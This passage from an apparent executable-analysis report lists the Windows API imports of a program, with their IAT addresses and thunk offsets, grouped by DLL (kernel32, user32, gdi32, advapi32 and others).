API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
DeleteCriticalSection | - | 0x496154 | 0x96154 | 0x93154 | 0x0 |
LeaveCriticalSection | - | 0x496158 | 0x96158 | 0x93158 | 0x0 |
EnterCriticalSection | - | 0x49615c | 0x9615c | 0x9315c | 0x0 |
InitializeCriticalSection | - | 0x496160 | 0x96160 | 0x93160 | 0x0 |
VirtualFree | - | 0x496164 | 0x96164 | 0x93164 | 0x0 |
VirtualAlloc | - | 0x496168 | 0x96168 | 0x93168 | 0x0 |
LocalFree | - | 0x49616c | 0x9616c | 0x9316c | 0x0 |
LocalAlloc | - | 0x496170 | 0x96170 | 0x93170 | 0x0 |
GetVersion | - | 0x496174 | 0x96174 | 0x93174 | 0x0 |
GetCurrentThreadId | - | 0x496178 | 0x96178 | 0x93178 | 0x0 |
InterlockedDecrement | - | 0x49617c | 0x9617c | 0x9317c | 0x0 |
InterlockedIncrement | - | 0x496180 | 0x96180 | 0x93180 | 0x0 |
VirtualQuery | - | 0x496184 | 0x96184 | 0x93184 | 0x0 |
WideCharToMultiByte | - | 0x496188 | 0x96188 | 0x93188 | 0x0 |
MultiByteToWideChar | - | 0x49618c | 0x9618c | 0x9318c | 0x0 |
lstrlenA | - | 0x496190 | 0x96190 | 0x93190 | 0x0 |
lstrcpynA | - | 0x496194 | 0x96194 | 0x93194 | 0x0 |
LoadLibraryExA | - | 0x496198 | 0x96198 | 0x93198 | 0x0 |
GetThreadLocale | - | 0x49619c | 0x9619c | 0x9319c | 0x0 |
GetStartupInfoA | - | 0x4961a0 | 0x961a0 | 0x931a0 | 0x0 |
GetProcAddress | - | 0x4961a4 | 0x961a4 | 0x931a4 | 0x0 |
GetModuleHandleA | - | 0x4961a8 | 0x961a8 | 0x931a8 | 0x0 |
GetModuleFileNameA | - | 0x4961ac | 0x961ac | 0x931ac | 0x0 |
GetLocaleInfoA | - | 0x4961b0 | 0x961b0 | 0x931b0 | 0x0 |
GetCommandLineA | - | 0x4961b4 | 0x961b4 | 0x931b4 | 0x0 |
FreeLibrary | - | 0x4961b8 | 0x961b8 | 0x931b8 | 0x0 |
FindFirstFileA | - | 0x4961bc | 0x961bc | 0x931bc | 0x0 |
FindClose | - | 0x4961c0 | 0x961c0 | 0x931c0 | 0x0 |
ExitProcess | - | 0x4961c4 | 0x961c4 | 0x931c4 | 0x0 |
WriteFile | - | 0x4961c8 | 0x961c8 | 0x931c8 | 0x0 |
UnhandledExceptionFilter | - | 0x4961cc | 0x961cc | 0x931cc | 0x0 |
RtlUnwind | - | 0x4961d0 | 0x961d0 | 0x931d0 | 0x0 |
RaiseException | - | 0x4961d4 | 0x961d4 | 0x931d4 | 0x0 |
GetStdHandle | - | 0x4961d8 | 0x961d8 | 0x931d8 | 0x0 |
user32.dll (4)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
GetKeyboardType | - | 0x4961e0 | 0x961e0 | 0x931e0 | 0x0 |
LoadStringA | - | 0x4961e4 | 0x961e4 | 0x931e4 | 0x0 |
MessageBoxA | - | 0x4961e8 | 0x961e8 | 0x931e8 | 0x0 |
CharNextA | - | 0x4961ec | 0x961ec | 0x931ec | 0x0 |
advapi32.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
RegQueryValueExA | - | 0x4961f4 | 0x961f4 | 0x931f4 | 0x0 |
RegOpenKeyExA | - | 0x4961f8 | 0x961f8 | 0x931f8 | 0x0 |
RegCloseKey | - | 0x4961fc | 0x961fc | 0x931fc | 0x0 |
oleaut32.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SysFreeString | - | 0x496204 | 0x96204 | 0x93204 | 0x0 |
SysReAllocStringLen | - | 0x496208 | 0x96208 | 0x93208 | 0x0 |
SysAllocStringLen | - | 0x49620c | 0x9620c | 0x9320c | 0x0 |
kernel32.dll (6)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
TlsSetValue | - | 0x496214 | 0x96214 | 0x93214 | 0x0 |
TlsGetValue | - | 0x496218 | 0x96218 | 0x93218 | 0x0 |
TlsFree | - | 0x49621c | 0x9621c | 0x9321c | 0x0 |
TlsAlloc | - | 0x496220 | 0x96220 | 0x93220 | 0x0 |
LocalFree | - | 0x496224 | 0x96224 | 0x93224 | 0x0 |
LocalAlloc | - | 0x496228 | 0x96228 | 0x93228 | 0x0 |
advapi32.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
RegQueryValueExA | - | 0x496230 | 0x96230 | 0x93230 | 0x0 |
RegOpenKeyExA | - | 0x496234 | 0x96234 | 0x93234 | 0x0 |
RegCloseKey | - | 0x496238 | 0x96238 | 0x93238 | 0x0 |
kernel32.dll (69)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
lstrcpyA | - | 0x496240 | 0x96240 | 0x93240 | 0x0 |
lstrcmpA | - | 0x496244 | 0x96244 | 0x93244 | 0x0 |
WriteFile | - | 0x496248 | 0x96248 | 0x93248 | 0x0 |
WaitForSingleObject | - | 0x49624c | 0x9624c | 0x9324c | 0x0 |
VirtualQuery | - | 0x496250 | 0x96250 | 0x93250 | 0x0 |
VirtualAlloc | - | 0x496254 | 0x96254 | 0x93254 | 0x0 |
Sleep | - | 0x496258 | 0x96258 | 0x93258 | 0x0 |
SizeofResource | - | 0x49625c | 0x9625c | 0x9325c | 0x0 |
SetThreadLocale | - | 0x496260 | 0x96260 | 0x93260 | 0x0 |
SetFilePointer | - | 0x496264 | 0x96264 | 0x93264 | 0x0 |
SetEvent | - | 0x496268 | 0x96268 | 0x93268 | 0x0 |
SetErrorMode | - | 0x49626c | 0x9626c | 0x9326c | 0x0 |
SetEndOfFile | - | 0x496270 | 0x96270 | 0x93270 | 0x0 |
ResetEvent | - | 0x496274 | 0x96274 | 0x93274 | 0x0 |
ReadFile | - | 0x496278 | 0x96278 | 0x93278 | 0x0 |
MultiByteToWideChar | - | 0x49627c | 0x9627c | 0x9327c | 0x0 |
MulDiv | - | 0x496280 | 0x96280 | 0x93280 | 0x0 |
LockResource | - | 0x496284 | 0x96284 | 0x93284 | 0x0 |
LoadResource | - | 0x496288 | 0x96288 | 0x93288 | 0x0 |
LoadLibraryA | - | 0x49628c | 0x9628c | 0x9328c | 0x0 |
LeaveCriticalSection | - | 0x496290 | 0x96290 | 0x93290 | 0x0 |
InitializeCriticalSection | - | 0x496294 | 0x96294 | 0x93294 | 0x0 |
GlobalUnlock | - | 0x496298 | 0x96298 | 0x93298 | 0x0 |
GlobalReAlloc | - | 0x49629c | 0x9629c | 0x9329c | 0x0 |
GlobalHandle | - | 0x4962a0 | 0x962a0 | 0x932a0 | 0x0 |
GlobalLock | - | 0x4962a4 | 0x962a4 | 0x932a4 | 0x0 |
GlobalFree | - | 0x4962a8 | 0x962a8 | 0x932a8 | 0x0 |
GlobalFindAtomA | - | 0x4962ac | 0x962ac | 0x932ac | 0x0 |
GlobalDeleteAtom | - | 0x4962b0 | 0x962b0 | 0x932b0 | 0x0 |
GlobalAlloc | - | 0x4962b4 | 0x962b4 | 0x932b4 | 0x0 |
GlobalAddAtomA | - | 0x4962b8 | 0x962b8 | 0x932b8 | 0x0 |
GetVersionExA | - | 0x4962bc | 0x962bc | 0x932bc | 0x0 |
GetVersion | - | 0x4962c0 | 0x962c0 | 0x932c0 | 0x0 |
GetTickCount | - | 0x4962c4 | 0x962c4 | 0x932c4 | 0x0 |
GetThreadLocale | - | 0x4962c8 | 0x962c8 | 0x932c8 | 0x0 |
GetSystemInfo | - | 0x4962cc | 0x962cc | 0x932cc | 0x0 |
GetStringTypeExA | - | 0x4962d0 | 0x962d0 | 0x932d0 | 0x0 |
GetStdHandle | - | 0x4962d4 | 0x962d4 | 0x932d4 | 0x0 |
GetProcAddress | - | 0x4962d8 | 0x962d8 | 0x932d8 | 0x0 |
GetModuleHandleA | - | 0x4962dc | 0x962dc | 0x932dc | 0x0 |
GetModuleFileNameA | - | 0x4962e0 | 0x962e0 | 0x932e0 | 0x0 |
GetLocaleInfoA | - | 0x4962e4 | 0x962e4 | 0x932e4 | 0x0 |
GetLocalTime | - | 0x4962e8 | 0x962e8 | 0x932e8 | 0x0 |
GetLastError | - | 0x4962ec | 0x962ec | 0x932ec | 0x0 |
GetFullPathNameA | - | 0x4962f0 | 0x962f0 | 0x932f0 | 0x0 |
GetDiskFreeSpaceA | - | 0x4962f4 | 0x962f4 | 0x932f4 | 0x0 |
GetDateFormatA | - | 0x4962f8 | 0x962f8 | 0x932f8 | 0x0 |
GetCurrentThreadId | - | 0x4962fc | 0x962fc | 0x932fc | 0x0 |
GetCurrentProcessId | - | 0x496300 | 0x96300 | 0x93300 | 0x0 |
GetCPInfo | - | 0x496304 | 0x96304 | 0x93304 | 0x0 |
GetACP | - | 0x496308 | 0x96308 | 0x93308 | 0x0 |
FreeResource | - | 0x49630c | 0x9630c | 0x9330c | 0x0 |
InterlockedExchange | - | 0x496310 | 0x96310 | 0x93310 | 0x0 |
FreeLibrary | - | 0x496314 | 0x96314 | 0x93314 | 0x0 |
FormatMessageA | - | 0x496318 | 0x96318 | 0x93318 | 0x0 |
FindResourceA | - | 0x49631c | 0x9631c | 0x9331c | 0x0 |
FindFirstFileA | - | 0x496320 | 0x96320 | 0x93320 | 0x0 |
FindClose | - | 0x496324 | 0x96324 | 0x93324 | 0x0 |
FileTimeToLocalFileTime | - | 0x496328 | 0x96328 | 0x93328 | 0x0 |
FileTimeToDosDateTime | - | 0x49632c | 0x9632c | 0x9332c | 0x0 |
EnumCalendarInfoA | - | 0x496330 | 0x96330 | 0x93330 | 0x0 |
EnterCriticalSection | - | 0x496334 | 0x96334 | 0x93334 | 0x0 |
DeleteFileA | - | 0x496338 | 0x96338 | 0x93338 | 0x0 |
DeleteCriticalSection | - | 0x49633c | 0x9633c | 0x9333c | 0x0 |
CreateThread | - | 0x496340 | 0x96340 | 0x93340 | 0x0 |
CreateFileA | - | 0x496344 | 0x96344 | 0x93344 | 0x0 |
CreateEventA | - | 0x496348 | 0x96348 | 0x93348 | 0x0 |
CompareStringA | - | 0x49634c | 0x9634c | 0x9334c | 0x0 |
CloseHandle | - | 0x496350 | 0x96350 | 0x93350 | 0x0 |
version.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
VerQueryValueA | - | 0x496358 | 0x96358 | 0x93358 | 0x0 |
GetFileVersionInfoSizeA | - | 0x49635c | 0x9635c | 0x9335c | 0x0 |
GetFileVersionInfoA | - | 0x496360 | 0x96360 | 0x93360 | 0x0 |
gdi32.dll (70)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
UnrealizeObject | - | 0x496368 | 0x96368 | 0x93368 | 0x0 |
StretchBlt | - | 0x49636c | 0x9636c | 0x9336c | 0x0 |
SetWindowOrgEx | - | 0x496370 | 0x96370 | 0x93370 | 0x0 |
SetWinMetaFileBits | - | 0x496374 | 0x96374 | 0x93374 | 0x0 |
SetViewportOrgEx | - | 0x496378 | 0x96378 | 0x93378 | 0x0 |
SetTextColor | - | 0x49637c | 0x9637c | 0x9337c | 0x0 |
SetStretchBltMode | - | 0x496380 | 0x96380 | 0x93380 | 0x0 |
SetROP2 | - | 0x496384 | 0x96384 | 0x93384 | 0x0 |
SetPixel | - | 0x496388 | 0x96388 | 0x93388 | 0x0 |
SetEnhMetaFileBits | - | 0x49638c | 0x9638c | 0x9338c | 0x0 |
SetDIBColorTable | - | 0x496390 | 0x96390 | 0x93390 | 0x0 |
SetBrushOrgEx | - | 0x496394 | 0x96394 | 0x93394 | 0x0 |
SetBkMode | - | 0x496398 | 0x96398 | 0x93398 | 0x0 |
SetBkColor | - | 0x49639c | 0x9639c | 0x9339c | 0x0 |
SelectPalette | - | 0x4963a0 | 0x963a0 | 0x933a0 | 0x0 |
SelectObject | - | 0x4963a4 | 0x963a4 | 0x933a4 | 0x0 |
SaveDC | - | 0x4963a8 | 0x963a8 | 0x933a8 | 0x0 |
RestoreDC | - | 0x4963ac | 0x963ac | 0x933ac | 0x0 |
Rectangle | - | 0x4963b0 | 0x963b0 | 0x933b0 | 0x0 |
RectVisible | - | 0x4963b4 | 0x963b4 | 0x933b4 | 0x0 |
RealizePalette | - | 0x4963b8 | 0x963b8 | 0x933b8 | 0x0 |
Polyline | - | 0x4963bc | 0x963bc | 0x933bc | 0x0 |
Polygon | - | 0x4963c0 | 0x963c0 | 0x933c0 | 0x0 |
PlayEnhMetaFile | - | 0x4963c4 | 0x963c4 | 0x933c4 | 0x0 |
PatBlt | - | 0x4963c8 | 0x963c8 | 0x933c8 | 0x0 |
MoveToEx | - | 0x4963cc | 0x963cc | 0x933cc | 0x0 |
MaskBlt | - | 0x4963d0 | 0x963d0 | 0x933d0 | 0x0 |
LineTo | - | 0x4963d4 | 0x963d4 | 0x933d4 | 0x0 |
IntersectClipRect | - | 0x4963d8 | 0x963d8 | 0x933d8 | 0x0 |
GetWindowOrgEx | - | 0x4963dc | 0x963dc | 0x933dc | 0x0 |
GetWinMetaFileBits | - | 0x4963e0 | 0x963e0 | 0x933e0 | 0x0 |
GetTextMetricsA | - | 0x4963e4 | 0x963e4 | 0x933e4 | 0x0 |
GetTextExtentPointA | - | 0x4963e8 | 0x963e8 | 0x933e8 | 0x0 |
GetTextExtentPoint32A | - | 0x4963ec | 0x963ec | 0x933ec | 0x0 |
GetSystemPaletteEntries | - | 0x4963f0 | 0x963f0 | 0x933f0 | 0x0 |
GetStockObject | - | 0x4963f4 | 0x963f4 | 0x933f4 | 0x0 |
GetPixel | - | 0x4963f8 | 0x963f8 | 0x933f8 | 0x0 |
GetPaletteEntries | - | 0x4963fc | 0x963fc | 0x933fc | 0x0 |
GetObjectA | - | 0x496400 | 0x96400 | 0x93400 | 0x0 |
GetEnhMetaFilePaletteEntries | - | 0x496404 | 0x96404 | 0x93404 | 0x0 |
GetEnhMetaFileHeader | - | 0x496408 | 0x96408 | 0x93408 | 0x0 |
GetEnhMetaFileBits | - | 0x49640c | 0x9640c | 0x9340c | 0x0 |
GetEnhMetaFileW | - | 0x496410 | 0x96410 | 0x93410 | 0x0 |
GetDeviceCaps | - | 0x496414 | 0x96414 | 0x93414 | 0x0 |
GetDIBits | - | 0x496418 | 0x96418 | 0x93418 | 0x0 |
GetDIBColorTable | - | 0x49641c | 0x9641c | 0x9341c | 0x0 |
GetDCOrgEx | - | 0x496420 | 0x96420 | 0x93420 | 0x0 |
GetCurrentPositionEx | - | 0x496424 | 0x96424 | 0x93424 | 0x0 |
GetClipBox | - | 0x496428 | 0x96428 | 0x93428 | 0x0 |
GetBrushOrgEx | - | 0x49642c | 0x9642c | 0x9342c | 0x0 |
GetBitmapBits | - | 0x496430 | 0x96430 | 0x93430 | 0x0 |
GdiFlush | - | 0x496434 | 0x96434 | 0x93434 | 0x0 |
ExcludeClipRect | - | 0x496438 | 0x96438 | 0x93438 | 0x0 |
DeleteObject | - | 0x49643c | 0x9643c | 0x9343c | 0x0 |
DeleteEnhMetaFile | - | 0x496440 | 0x96440 | 0x93440 | 0x0 |
DeleteDC | - | 0x496444 | 0x96444 | 0x93444 | 0x0 |
CreateSolidBrush | - | 0x496448 | 0x96448 | 0x93448 | 0x0 |
CreatePenIndirect | - | 0x49644c | 0x9644c | 0x9344c | 0x0 |
CreatePalette | - | 0x496450 | 0x96450 | 0x93450 | 0x0 |
CreateHalftonePalette | - | 0x496454 | 0x96454 | 0x93454 | 0x0 |
CreateFontIndirectA | - | 0x496458 | 0x96458 | 0x93458 | 0x0 |
CreateDIBitmap | - | 0x49645c | 0x9645c | 0x9345c | 0x0 |
CreateDIBSection | - | 0x496460 | 0x96460 | 0x93460 | 0x0 |
CreateCompatibleDC | - | 0x496464 | 0x96464 | 0x93464 | 0x0 |
CreateCompatibleBitmap | - | 0x496468 | 0x96468 | 0x93468 | 0x0 |
CreateBrushIndirect | - | 0x49646c | 0x9646c | 0x9346c | 0x0 |
CreateBitmap | - | 0x496470 | 0x96470 | 0x93470 | 0x0 |
CopyEnhMetaFileA | - | 0x496474 | 0x96474 | 0x93474 | 0x0 |
BitBlt | - | 0x496478 | 0x96478 | 0x93478 | 0x0 |
AddFontResourceA | - | 0x49647c | 0x9647c | 0x9347c | 0x0 |
user32.dll (168)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CreateWindowExA | - | 0x496484 | 0x96484 | 0x93484 | 0x0 |
WindowFromPoint | - | 0x496488 | 0x96488 | 0x93488 | 0x0 |
WinHelpA | - | 0x49648c | 0x9648c | 0x9348c | 0x0 |
WaitMessage | - | 0x496490 | 0x96490 | 0x93490 | 0x0 |
UpdateWindow | - | 0x496494 | 0x96494 | 0x93494 | 0x0 |
UnregisterClassA | - | 0x496498 | 0x96498 | 0x93498 | 0x0 |
UnhookWindowsHookEx | - | 0x49649c | 0x9649c | 0x9349c | 0x0 |
TranslateMessage | - | 0x4964a0 | 0x964a0 | 0x934a0 | 0x0 |
TranslateMDISysAccel | - | 0x4964a4 | 0x964a4 | 0x934a4 | 0x0 |
TrackPopupMenu | - | 0x4964a8 | 0x964a8 | 0x934a8 | 0x0 |
SystemParametersInfoA | - | 0x4964ac | 0x964ac | 0x934ac | 0x0 |
ShowWindow | - | 0x4964b0 | 0x964b0 | 0x934b0 | 0x0 |
ShowScrollBar | - | 0x4964b4 | 0x964b4 | 0x934b4 | 0x0 |
ShowOwnedPopups | - | 0x4964b8 | 0x964b8 | 0x934b8 | 0x0 |
ShowCursor | - | 0x4964bc | 0x964bc | 0x934bc | 0x0 |
ShowCaret | - | 0x4964c0 | 0x964c0 | 0x934c0 | 0x0 |
SetWindowsHookExA | - | 0x4964c4 | 0x964c4 | 0x934c4 | 0x0 |
SetWindowTextA | - | 0x4964c8 | 0x964c8 | 0x934c8 | 0x0 |
SetWindowPos | - | 0x4964cc | 0x964cc | 0x934cc | 0x0 |
SetWindowPlacement | - | 0x4964d0 | 0x964d0 | 0x934d0 | 0x0 |
SetWindowLongA | - | 0x4964d4 | 0x964d4 | 0x934d4 | 0x0 |
SetTimer | - | 0x4964d8 | 0x964d8 | 0x934d8 | 0x0 |
SetScrollRange | - | 0x4964dc | 0x964dc | 0x934dc | 0x0 |
SetScrollPos | - | 0x4964e0 | 0x964e0 | 0x934e0 | 0x0 |
SetScrollInfo | - | 0x4964e4 | 0x964e4 | 0x934e4 | 0x0 |
SetRect | - | 0x4964e8 | 0x964e8 | 0x934e8 | 0x0 |
SetPropA | - | 0x4964ec | 0x964ec | 0x934ec | 0x0 |
SetParent | - | 0x4964f0 | 0x964f0 | 0x934f0 | 0x0 |
SetMenuItemInfoA | - | 0x4964f4 | 0x964f4 | 0x934f4 | 0x0 |
SetMenu | - | 0x4964f8 | 0x964f8 | 0x934f8 | 0x0 |
SetForegroundWindow | - | 0x4964fc | 0x964fc | 0x934fc | 0x0 |
SetFocus | - | 0x496500 | 0x96500 | 0x93500 | 0x0 |
SetCursor | - | 0x496504 | 0x96504 | 0x93504 | 0x0 |
SetClipboardData | - | 0x496508 | 0x96508 | 0x93508 | 0x0 |
SetClassLongA | - | 0x49650c | 0x9650c | 0x9350c | 0x0 |
SetCapture | - | 0x496510 | 0x96510 | 0x93510 | 0x0 |
SetActiveWindow | - | 0x496514 | 0x96514 | 0x93514 | 0x0 |
SendMessageA | - | 0x496518 | 0x96518 | 0x93518 | 0x0 |
ScrollWindow | - | 0x49651c | 0x9651c | 0x9351c | 0x0 |
ScreenToClient | - | 0x496520 | 0x96520 | 0x93520 | 0x0 |
RemovePropA | - | 0x496524 | 0x96524 | 0x93524 | 0x0 |
RemoveMenu | - | 0x496528 | 0x96528 | 0x93528 | 0x0 |
ReleaseDC | - | 0x49652c | 0x9652c | 0x9352c | 0x0 |
ReleaseCapture | - | 0x496530 | 0x96530 | 0x93530 | 0x0 |
RegisterWindowMessageA | - | 0x496534 | 0x96534 | 0x93534 | 0x0 |
RegisterClipboardFormatA | - | 0x496538 | 0x96538 | 0x93538 | 0x0 |
RegisterClassA | - | 0x49653c | 0x9653c | 0x9353c | 0x0 |
RedrawWindow | - | 0x496540 | 0x96540 | 0x93540 | 0x0 |
PtInRect | - | 0x496544 | 0x96544 | 0x93544 | 0x0 |
PostQuitMessage | - | 0x496548 | 0x96548 | 0x93548 | 0x0 |
PostMessageA | - | 0x49654c | 0x9654c | 0x9354c | 0x0 |
PeekMessageA | - | 0x496550 | 0x96550 | 0x93550 | 0x0 |
OpenClipboard | - | 0x496554 | 0x96554 | 0x93554 | 0x0 |
OffsetRect | - | 0x496558 | 0x96558 | 0x93558 | 0x0 |
OemToCharA | - | 0x49655c | 0x9655c | 0x9355c | 0x0 |
MessageBoxA | - | 0x496560 | 0x96560 | 0x93560 | 0x0 |
MessageBeep | - | 0x496564 | 0x96564 | 0x93564 | 0x0 |
MapWindowPoints | - | 0x496568 | 0x96568 | 0x93568 | 0x0 |
MapVirtualKeyA | - | 0x49656c | 0x9656c | 0x9356c | 0x0 |
LoadStringA | - | 0x496570 | 0x96570 | 0x93570 | 0x0 |
LoadKeyboardLayoutA | - | 0x496574 | 0x96574 | 0x93574 | 0x0 |
LoadIconA | - | 0x496578 | 0x96578 | 0x93578 | 0x0 |
LoadCursorW | - | 0x49657c | 0x9657c | 0x9357c | 0x0 |
LoadCursorA | - | 0x496580 | 0x96580 | 0x93580 | 0x0 |
LoadBitmapA | - | 0x496584 | 0x96584 | 0x93584 | 0x0 |
KillTimer | - | 0x496588 | 0x96588 | 0x93588 | 0x0 |
IsZoomed | - | 0x49658c | 0x9658c | 0x9358c | 0x0 |
IsWindowVisible | - | 0x496590 | 0x96590 | 0x93590 | 0x0 |
IsWindowEnabled | - | 0x496594 | 0x96594 | 0x93594 | 0x0 |
IsWindow | - | 0x496598 | 0x96598 | 0x93598 | 0x0 |
IsRectEmpty | - | 0x49659c | 0x9659c | 0x9359c | 0x0 |
IsIconic | - | 0x4965a0 | 0x965a0 | 0x935a0 | 0x0 |
IsDialogMessageA | - | 0x4965a4 | 0x965a4 | 0x935a4 | 0x0 |
IsChild | - | 0x4965a8 | 0x965a8 | 0x935a8 | 0x0 |
InvalidateRect | - | 0x4965ac | 0x965ac | 0x935ac | 0x0 |
IntersectRect | - | 0x4965b0 | 0x965b0 | 0x935b0 | 0x0 |
InsertMenuItemA | - | 0x4965b4 | 0x965b4 | 0x935b4 | 0x0 |
InsertMenuA | - | 0x4965b8 | 0x965b8 | 0x935b8 | 0x0 |
InflateRect | - | 0x4965bc | 0x965bc | 0x935bc | 0x0 |
HideCaret | - | 0x4965c0 | 0x965c0 | 0x935c0 | 0x0 |
GetWindowThreadProcessId | - | 0x4965c4 | 0x965c4 | 0x935c4 | 0x0 |
GetWindowTextA | - | 0x4965c8 | 0x965c8 | 0x935c8 | 0x0 |
GetWindowRect | - | 0x4965cc | 0x965cc | 0x935cc | 0x0 |
GetWindowPlacement | - | 0x4965d0 | 0x965d0 | 0x935d0 | 0x0 |
GetWindowLongA | - | 0x4965d4 | 0x965d4 | 0x935d4 | 0x0 |
GetWindowDC | - | 0x4965d8 | 0x965d8 | 0x935d8 | 0x0 |
GetTopWindow | - | 0x4965dc | 0x965dc | 0x935dc | 0x0 |
GetSystemMetrics | - | 0x4965e0 | 0x965e0 | 0x935e0 | 0x0 |
GetSystemMenu | - | 0x4965e4 | 0x965e4 | 0x935e4 | 0x0 |
GetSysColorBrush | - | 0x4965e8 | 0x965e8 | 0x935e8 | 0x0 |
GetSysColor | - | 0x4965ec | 0x965ec | 0x935ec | 0x0 |
GetSubMenu | - | 0x4965f0 | 0x965f0 | 0x935f0 | 0x0 |
GetScrollRange | - | 0x4965f4 | 0x965f4 | 0x935f4 | 0x0 |
GetScrollPos | - | 0x4965f8 | 0x965f8 | 0x935f8 | 0x0 |
GetScrollInfo | - | 0x4965fc | 0x965fc | 0x935fc | 0x0 |
GetPropA | - | 0x496600 | 0x96600 | 0x93600 | 0x0 |
GetParent | - | 0x496604 | 0x96604 | 0x93604 | 0x0 |
GetWindow | - | 0x496608 | 0x96608 | 0x93608 | 0x0 |
GetMenuStringA | - | 0x49660c | 0x9660c | 0x9360c | 0x0 |
GetMenuState | - | 0x496610 | 0x96610 | 0x93610 | 0x0 |
GetMenuItemInfoA | - | 0x496614 | 0x96614 | 0x93614 | 0x0 |
GetMenuItemID | - | 0x496618 | 0x96618 | 0x93618 | 0x0 |
GetMenuItemCount | - | 0x49661c | 0x9661c | 0x9361c | 0x0 |
GetMenu | - | 0x496620 | 0x96620 | 0x93620 | 0x0 |
GetLastActivePopup | - | 0x496624 | 0x96624 | 0x93624 | 0x0 |
GetKeyboardState | - | 0x496628 | 0x96628 | 0x93628 | 0x0 |
GetKeyboardLayoutList | - | 0x49662c | 0x9662c | 0x9362c | 0x0 |
GetKeyboardLayout | - | 0x496630 | 0x96630 | 0x93630 | 0x0 |
GetKeyState | - | 0x496634 | 0x96634 | 0x93634 | 0x0 |
GetKeyNameTextA | - | 0x496638 | 0x96638 | 0x93638 | 0x0 |
GetIconInfo | - | 0x49663c | 0x9663c | 0x9363c | 0x0 |
GetForegroundWindow | - | 0x496640 | 0x96640 | 0x93640 | 0x0 |
GetFocus | - | 0x496644 | 0x96644 | 0x93644 | 0x0 |
GetDesktopWindow | - | 0x496648 | 0x96648 | 0x93648 | 0x0 |
GetDCEx | - | 0x49664c | 0x9664c | 0x9364c | 0x0 |
GetDC | - | 0x496650 | 0x96650 | 0x93650 | 0x0 |
GetCursorPos | - | 0x496654 | 0x96654 | 0x93654 | 0x0 |
GetCursor | - | 0x496658 | 0x96658 | 0x93658 | 0x0 |
GetClipboardData | - | 0x49665c | 0x9665c | 0x9365c | 0x0 |
GetClientRect | - | 0x496660 | 0x96660 | 0x93660 | 0x0 |
GetClassNameA | - | 0x496664 | 0x96664 | 0x93664 | 0x0 |
GetClassInfoA | - | 0x496668 | 0x96668 | 0x93668 | 0x0 |
GetCapture | - | 0x49666c | 0x9666c | 0x9366c | 0x0 |
GetAsyncKeyState | - | 0x496670 | 0x96670 | 0x93670 | 0x0 |
GetActiveWindow | - | 0x496674 | 0x96674 | 0x93674 | 0x0 |
FrameRect | - | 0x496678 | 0x96678 | 0x93678 | 0x0 |
FindWindowA | - | 0x49667c | 0x9667c | 0x9367c | 0x0 |
FillRect | - | 0x496680 | 0x96680 | 0x93680 | 0x0 |
EqualRect | - | 0x496684 | 0x96684 | 0x93684 | 0x0 |
EnumWindows | - | 0x496688 | 0x96688 | 0x93688 | 0x0 |
EnumThreadWindows | - | 0x49668c | 0x9668c | 0x9368c | 0x0 |
EndPaint | - | 0x496690 | 0x96690 | 0x93690 | 0x0 |
EnableWindow | - | 0x496694 | 0x96694 | 0x93694 | 0x0 |
EnableScrollBar | - | 0x496698 | 0x96698 | 0x93698 | 0x0 |
EnableMenuItem | - | 0x49669c | 0x9669c | 0x9369c | 0x0 |
EmptyClipboard | - | 0x4966a0 | 0x966a0 | 0x936a0 | 0x0 |
DrawTextA | - | 0x4966a4 | 0x966a4 | 0x936a4 | 0x0 |
DrawStateA | - | 0x4966a8 | 0x966a8 | 0x936a8 | 0x0 |
DrawMenuBar | - | 0x4966ac | 0x966ac | 0x936ac | 0x0 |
DrawIconEx | - | 0x4966b0 | 0x966b0 | 0x936b0 | 0x0 |
DrawIcon | - | 0x4966b4 | 0x966b4 | 0x936b4 | 0x0 |
DrawFrameControl | - | 0x4966b8 | 0x966b8 | 0x936b8 | 0x0 |
DrawEdge | - | 0x4966bc | 0x966bc | 0x936bc | 0x0 |
DispatchMessageA | - | 0x4966c0 | 0x966c0 | 0x936c0 | 0x0 |
DestroyWindow | - | 0x4966c4 | 0x966c4 | 0x936c4 | 0x0 |
DestroyMenu | - | 0x4966c8 | 0x966c8 | 0x936c8 | 0x0 |
DestroyIcon | - | 0x4966cc | 0x966cc | 0x936cc | 0x0 |
DestroyCursor | - | 0x4966d0 | 0x966d0 | 0x936d0 | 0x0 |
DeleteMenu | - | 0x4966d4 | 0x966d4 | 0x936d4 | 0x0 |
DefWindowProcA | - | 0x4966d8 | 0x966d8 | 0x936d8 | 0x0 |
DefMDIChildProcA | - | 0x4966dc | 0x966dc | 0x936dc | 0x0 |
DefFrameProcA | - | 0x4966e0 | 0x966e0 | 0x936e0 | 0x0 |
CreatePopupMenu | - | 0x4966e4 | 0x966e4 | 0x936e4 | 0x0 |
CreateMenu | - | 0x4966e8 | 0x966e8 | 0x936e8 | 0x0 |
CreateIcon | - | 0x4966ec | 0x966ec | 0x936ec | 0x0 |
CloseClipboard | - | 0x4966f0 | 0x966f0 | 0x936f0 | 0x0 |
ClientToScreen | - | 0x4966f4 | 0x966f4 | 0x936f4 | 0x0 |
CheckMenuItem | - | 0x4966f8 | 0x966f8 | 0x936f8 | 0x0 |
CallWindowProcA | - | 0x4966fc | 0x966fc | 0x936fc | 0x0 |
CallNextHookEx | - | 0x496700 | 0x96700 | 0x93700 | 0x0 |
BeginPaint | - | 0x496704 | 0x96704 | 0x93704 | 0x0 |
CharNextA | - | 0x496708 | 0x96708 | 0x93708 | 0x0 |
CharLowerBuffA | - | 0x49670c | 0x9670c | 0x9370c | 0x0 |
CharLowerA | - | 0x496710 | 0x96710 | 0x93710 | 0x0 |
CharUpperBuffA | - | 0x496714 | 0x96714 | 0x93714 | 0x0 |
